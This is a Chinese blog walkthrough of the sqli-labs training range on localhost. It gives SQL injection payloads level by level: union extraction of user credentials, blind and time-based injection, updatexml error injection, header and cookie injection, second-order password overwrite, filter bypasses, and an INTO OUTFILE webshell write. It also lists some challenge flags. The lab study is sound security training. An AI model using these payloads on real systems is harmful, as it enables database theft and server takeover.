sqli-labs靶场详解


前提

mysql -h localhost -u root -p //-h代表地址,-u代表用户,-p后面是密码
show databases; //显示数据库
show tables; //显示表
use database; //use security;来切换到security数据库
select * from users; //选择这个users表,展示,*可以改成列名,则单独显示几列

select schema_name from information_schema.schemata; //查库:查information_schema这个指定的数据库的schemata表中schema_name这个列中所记录库的信息

select table_name from information_schema.tables where table_schema='security'; //查表:查指定数据库security的表

select column_name from information_schema.columns where table_name='users'; //查列
select username,password from security.users; //查字段

select * from users where id='1' limit 0,1; //表示显示users表中行中id=1的,且从1开始,显示1个

select * from users order by 3; //在users表中,给第三列排序,因此可以用来判有多少列

select * from users union select 1,2,3; //判断回显地方

select system_user(); //显示系统用户
select user();
select database(); //显示当前选择的数据库是什么
select version(); //显示mysql数据库的版本
select @@datadir; //mysql的安装路径
select @@version_compile_os; //本机的操作系统

group_concat(); //将所有的数据连接拼接之后显示
concat_ws('~',a,b); //同时取出a,b中间用~间隔

select left(database(),1)='s'; //截取当前选择的数据库的第一位看是不是's',如果是,则返回1,否则返回0
select left(database(),2); //直接返回前两位 ‘in’

select user() regexp 'r'; //查看匹配的user()开头是不是r,正则表达式,正确返回1,错误为0

select user() like 'r%'; //查看匹配的user()开头是不是r,正则表达式,正确返回1,错误为0

select substr((select database()),2,1)='n'; //从第2位开始,截取数据库名字字符串长度为1,一样则返回1,不一样返回0

select ascii('s'); //返回s的ascii值,在python中有chr和ord两个,用ipython打开,通常和前两个配额和使用
select ascii(substr((select database()),1,1));

select 'batman' into outfile'c:\\phpstudy\\www\\sqli-labs\\less-7\\test.txt'; //是为了防止关键字转义
select load_file'c:\\phpstudy\\www\\sqli-labs\\less-7\\test.txt'; //读函数
select if(2>3,1,2); //判断2>3的结果,若成立则返回1,不成立返回2
sleep(3); //睡三秒,可以和上面的一起使用
select if(2>3,1,sleep(3));

组合搭配
select if(ascii(substr((select database()),1,1))>10,2,3);
select if(ascii(substr((select database()),1,1))>10,2,3);

select 1=1 and 1=2;
select 1=1 or 1=2;

--+和-- 这两种适用于get方式,不适用在post方式,因为传递过程中会设计转码问题,所以我们通常都用#

select * from users where user_id='1';
select * from users where user_id='1111' or 1=1 #
~ --> 0x7e
users --> 0x7573657273

#xpath报错注入:
select updatexml(1,concat(0x7e,(select username from security.users limit 1,1),0x7e),1);

SQLi-LABS Page-1(Basic Challenges)

less-1 get-string-单引号

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

首先,正常如果标题不告诉我们是字符注入的话,我们首先先要区分是字符型还是数字型,可以构造

http://127.0.0.1/sqli-labs/Less-1/?id=1+1,判断是否会被执行,如果会则是数字型,反之为字符型,此外判断闭合id的值是什么,可能是

'
"
)
')
")
‘))
"))

因此我们要挨个尝试,构造

http://127.0.0.1/sqli-labs/Less-1/?id=' 先大概判断下闭合词,如果是’,则

如果不是’,而是”,则无法被执行,则没有回显提示。

接下来判断多少列 http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203%20--+

当order by 3可以,而order by 4不可以,就说明最多是三列,没有四列

注释符可以用 --+,-- ,#,这里推荐#

然后当我们确认有三列的时候,我们需要知道回显处,也就是前端和数据库交互显示的地方

构造http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 –+

为什么是-1而不是1呢,因为如果是1,那么回显处会优先显示id=1的查询,所以要让前处查询不到

我们这里发现2和3的地方是回显处。那么我们可以选择在2,3处进行查库操作

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata–+

可以通过改成

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1–+或者limit 1,1来进行改变,但是这种很慢,我们可以使用函数group_concat(schema_name)

同理,我们现在查表http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

之后查列

再之后查用户名,密码,group_concat和concat_ws配合使用

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(‘~’,password,username)) from security.users –+

less-2 get-intiger-based

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这里,我们首先先

http://127.0.0.1/sqli-labs/Less-2/?id=1' 发现报错了,于是尝试其余,发现都保错,最后发现其实根本不用关键词过滤,查看比对less-1和less-2的源码发现

less-1:$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

less-2:$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;

所以和less-1一样,直接操作就行

1)order by 查看列

2)查库

3)查表

4)查列

5)查用户名密码

less-3 get-string-单引号+括号

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

当我们尝试了id=1’)发现可行

发现下面提示用’)包裹

less-4 get-string-双引号

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

同之前,遍历,发现用)包裹

less-5 get-string-双重注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

当我们看到这题时发现不是1-4题那么,这是典型的布尔盲注,当正确时返回结果,当错误时报错或者不反回,这种题的做法就是通过判断某位字符是否相等来获取信息

id=1’发现为’包裹

1)order by 3 发现列

2)直接union select联合查询

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),1) =’s’–+

但是我们手工太慢了,可以使用burpsuite暴力破解功能,通过观看返回的字节数判断成功与否,首先抓包分析,发到intruder爆破模块

方法一

然后设置变量,以及爆破的字典,长度

设置线程数量,右上角开始start attack

发现只有当s时长度不一样,所以我们确信第一位为s,同理来逐渐爆破剩下的

方法二

select ascii(substr((select database()),1,1))>1;

以此通过二分法判断出首字母,进而第二位,第三位……

less-6 get-string-based

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同样id=1‘ ,id=1”,发现“时报错,说明是”过滤

之后和less-5一样了。

less-7

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

发现包裹用“))包裹

文件读取 load_file

文件写入 into outfile

写入木马

http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,’‘ into outfile ‘E:\PHPstudy\phpstudy_pro\WWW\sqli-labs\Less-7\2.php’ –+

直接用菜刀或者蚁剑连

less-8 get-单引号-盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

同样,先id=1’,发现由‘包裹,所以和之前一样。

方法一

和之前一样

方法二-时间盲注(sleep)

http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(length(database())=81,1,sleep(3))–+

less-9

时间盲注

less-10

时间盲注

less-11

登录界面,是post传参,我们用burpsuite抓包,看看对方post中传递了什么

uname=’ ‘ &passwd=’’ &submit=Submit

或者

uname=admin’ or 1=1 # passwd=admin&submit=Submit

这里的sql注入就是要提前闭合admin前的 ‘ ,但是由于不一样是单引号过滤,所以我们以后要尝试双引号,括号组合等

'
"
)
')
")
‘))
"))

手工注入时需要我们一个个尝试,以后用sqlmap尝试。当我们登陆成功后返回了蓝色字体显示用户名和密码,接着我们要order by 3 判断有几列,然后联合查询,判断回显位置,进而查库查表查字段

发现只有两列,接着我们判断回显处

这里切记,不要输入正确的admin用户名否则位置会被uname和password回显遮盖上,接着我们在1和2处都可以进行sql注入

1)查库

uname=in’ union select 1,schema_name from information_schema.schemata # &passwd= &submit=Submit

2)查表

uname=in’ union select 1,table_name from information_schema.tables where table_schema=’security’ # &passwd= &submit=Submit

3)查列

uname=in’ union select 1,column_name from information_schema.columns where table_name=’users’ # &passwd= &submit=Submit

4)查字段

uname=in’ union select username,password from security.users # &passwd= &submit=Submit

5)通过group_concat(concat_ws(‘~’,username,password))批量查数据

uname=in’ union select 1,group_concat(schema_name) from information_schema.schemata # &passwd= &submit=Submit

uname=in’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’ # &passwd= &submit=Submit

uname=in’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ # &passwd= &submit=Submit

uname=in’ union select 1,group_concat(concat(‘~’,username,password)) from security.users # &passwd= &submit=Submit

less-12

先尝试admin’ or ‘1’=’1登录,发现失败,判断是否是其他关键字过滤,比如),”等,进行尝试

admin”) or 1=1 #

接下来就和之前一样了。

less-13

我们尝试登录,admin,admin登录成功后和less-12和less-13不一样,没有具体的数值回显,所以这又是一个布尔盲注,思路就是通过判断回显确定值

尝试,确定过滤词为’)

准备在命令行确定查询语句

#时间盲注
uname=ad') or if(length(database())>100,1,sleep(1)) #&passwd=&submit=Submit
#暴力破解跑字符
uname=ad') or substr((select database()),1,1)='a' #&passwd=&submit=Submit

判断出数据库第一位是‘s’,同理第二位,第三位。。。就完成了

less-14

和less-13一样,也是布尔盲注,首先先判断过滤词

发现admin” or 1=1 #成功,所以过滤词是”,接着除了过滤词,其他和less-13一样了

less-15

和less-14,less-15一样,除了包裹词都一样 是’

less-16

同上,包裹词是”)

less-17

首先先admin,admin登录成功,然后老规矩我们尝试username栏进行注入,接连失败,之后我们进行源代码审计,发现’ “) 等都被处理了,所以我们无法在username一栏尝试,所以我们尝试password栏注入。构造

admin

adadas’#

登录成功,说明密码没有防止注入处理,所以接下来我们就是利用password处进行布尔盲注,通过图片判断

updatexml(1,concat(0x7e,(构造语句),0x7e),1);
构造语句:

select schema_name from information_schema.schemata; //查库:查information_schema这个指定的数据库的schemata表中schema_name这个列中所记录库的信息

select table_name from information_schema.tables where table_schema='security'; //查表:查指定数据库security的表

select column_name from information_schema.columns where table_name='users'; //查列
select username,password from security.users; //查字段

#带入其中:
updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata;),0x7e),1);

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security';),0x7e),1);

updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users';),0x7e),1);

updatexml(1,concat(0x7e,(select username,password from security.users;),0x7e),1);

uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

通过xpath注入报错,显示出当前数据库名。

接着查表,列,字段

表:

uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1)),1)#&submit=Submit

列:

uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1)),1)#&submit=Submit

less-18

less-18标题是头部注入,其实sql注入的本质就是在一切可以和数据库进行交互的地方绕过waf进行sql语句的查询,不是限于get,post方式,如下

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/sqli-labs/Less-18/
Cookie: PHPSESSID=fv01tputk07gfclr0uvti40o80
Upgrade-Insecure-Requests: 1

其中,只要是和数据库交互的都可以注入。

首先,admin,admin登录成功后发现

返回有ip地址,user-agent信息,还有用户名,当我们登录失败

当我们登录失败,只返回ip地址,所以我们知道首先ip是回显的,但是ip无法注入,所以我们的思路就是less-17题那样通过登陆成功后显示的user-agent或者用户名处回显,所以我们尝试用户名和密码处注入,结果失败,被转义了

在画圈圈处,后面username是要调用数据库查询的,而username本身转义,ip_address又无法改变,所以我们选择在uagent上动手。

#构造如下短句
' or updatexml(1,concat(0x7e,(database())),1) or '1'='1
#用这样的方式进行闭合user-agent处,也可以闭合后门所有
' or updatexml(1,concat(0x7e,(database())),1),'','')#

可以在burpsuite中user-agent处进行添加

结果下面xpath处显示,结果也成功了

接下面将database()处换成查库,查表,查列,查字段

' or updatexml(1,concat(0x7e,(database())),1),'','')#

就可以了。

less-19

输入admin,admin登录成功后,返回如图

发现返回了referer,而登录失败后什么也不返回,所以我们这也要在referer进行注入,和header注入使用一样的句子

less-20

当我们登录成功后显示

所以这题的考点是cookie的注入,当我们再次登录时,如果cookie没变,会调用cookie,我们在本地地址的cookie处值后加上单引号

发现报错了,说明包裹词是单引号,我们成功闭合,接下来可以直接闭合,然后联合查询

但是首先,老规矩,order by 3和order by 4

发现只有三列,然后union select 1,2,3

找到了回显的地方,任选地方进行cookie注入

先是单查库

之后查表查列查字段,多组查询都可以了。

less-21

登录,查看cookie,YWRtaW4%3D,base64进行解码发现是admin,白盒测试源代码审计发现过滤词是’),所以我们构造

‘) union select 1,2,database()#

编码后是JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==,进行替换

接下来操作和less-20一样了。

less-22

和less-21相似,只是包裹词从单引号变成了双引号。

SQLi-LABS Page-2 (Adv Injections)

less-23

我们先按照要求构造

id=1’ –+

进行闭合,但是我们发现不成功,我们白盒测试查看原代码

在php中,preg_replace 函数执行一个正则表达式的搜索和替换。在/ /之中的#,- -,都被替换成空格,

所以我们要使用别的省略词,;%00。详见PHP preg_replace内容。

所以id=1’ ;%00,然后老规矩,order by,union select 1,2,3测试回显,然后查询就好了。

1)order by

2)union select

3)查库,查表,查列,查字段,和之前的都一样了

less-24 二次注入-存储型注入(逻辑越权)

打开后首页面,index.php

源码那里以post方式传给了login.php

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
  
  //注意这里的sql语句,username和password是用单引号包裹
  
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
    //print_r($row) ;
   if ($row[1]) {
            return $row[1];
   } else {
              return 0;
   }

}

创建了sqllogin函数,username和password使用mysql_real_escape_string函数,作用是转义以下字符

  • \x00

  • \n

  • \r

  • \

  • \x1a

    之后的login-in.php和passage_change等是修改密码之后的页面。

new_user.php传给到login_create.php

    //$username=  $_POST['username'] ;
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);

二次注入就是在创建用户时利用过滤不严谨,和逻辑漏洞,修改他人用户信息

这里注册时用户名:admin’#(倘若这里也有mysql_real_escape_string()函数那就失败)

密码:13579

再修改为abcd。

最后成功把admin的原密码修改为abcd

less-25

    $id= blacklist($id);

    $hint=$id;
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);


function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}

代码审计,挑几句重点部分,get方式传入的id经过blacklist函数过滤or and,并且不区分大小写。可以考虑双写绕过。

less-25a

和上面的一样,只不过没有单引号包裹。

less-26

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

黑名单,包括替换or,and为空。斜杠,–,#等正则

or and还可以继续使用双写

空格的话可以用()来包裹

注释符#等,可以改用;%00来代替

因为这里空格没了,我们采用报错注入中updatexml方式

updatexml(1,concat(0x7e,database()),1)
这里database()再和基础的查库查表查列查字段等组合起来记好了,记得加上()包裹

第二种方法是把空格用%0a(空白符)等ascii编码后可以充当空格替换

less-26a

和26一样,只是是由’)包裹的

less-27

源代码审计

print_r(mysql_error());

$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select

这里显示报错,可以报错注入,其他这里和26的区别是少了/i/也就是大小写混写取消了,多了union和select,可以直接unioN大小写绕过即可。

less-27a

一样,“包裹

less-28

‘)包裹

less-28a

28a的代码过滤处比28少了很多。

less29-less32是jsp环境

less-33

看源代码,发现用到了addslashes函数,这个函数是再在单引号,双引号等前加上百分号,可以使用宽字节注入绕过。%df。

less-34

post传参对输入的数据进行了编码,所以我们可以抓包改

比如a%df’变成a%25df%27

less-35

代码审计,发现id并没有被包裹,正常注入即可

less-36

单引号包裹,使用了mysql_real_escape_string函数转义。

less-37

和36差不多,都是单引号,mysql_real_escape_string函数,只不过是post方式传输

less-38

堆叠注入

指多条sql语句同时执行查询。

less-39

和38一样,id没有被包裹

less-40

‘)

less-41

less-42

password没有过滤,堆叠注入post传参

less-43

‘)

less-44

一样,只是没有报错信息,不能报错注入

less-45

‘)

less-46

lines terminated by

报错注入

时间盲注

less-47

less-48

时间盲注

less-49

lines terminated by

less-50

1.时间盲注

2.报错注入

3.写入一句话

4.堆叠注入

less-51

less-52

无法报错,’包裹

less-53

无法报错,”包裹

SQLi-LABS Page-4 (Challenges)

第四章是找flag类似的

less-54

4hUR2AnCuzSMsvnHiU5Xm2dC

less-55

)包裹

less-56

‘)包裹

less-57

less-58

报错注入

WD47ibXaJreRqEtyND4VYjL1

less-59

无包裹

less-60

updatexml(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_name='challenges'  )),1)

“)包裹

less-61

less62

less-63

延时注入

less-64

))

less-65

“)


文章作者: Lightning
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lightning !
评论
  目录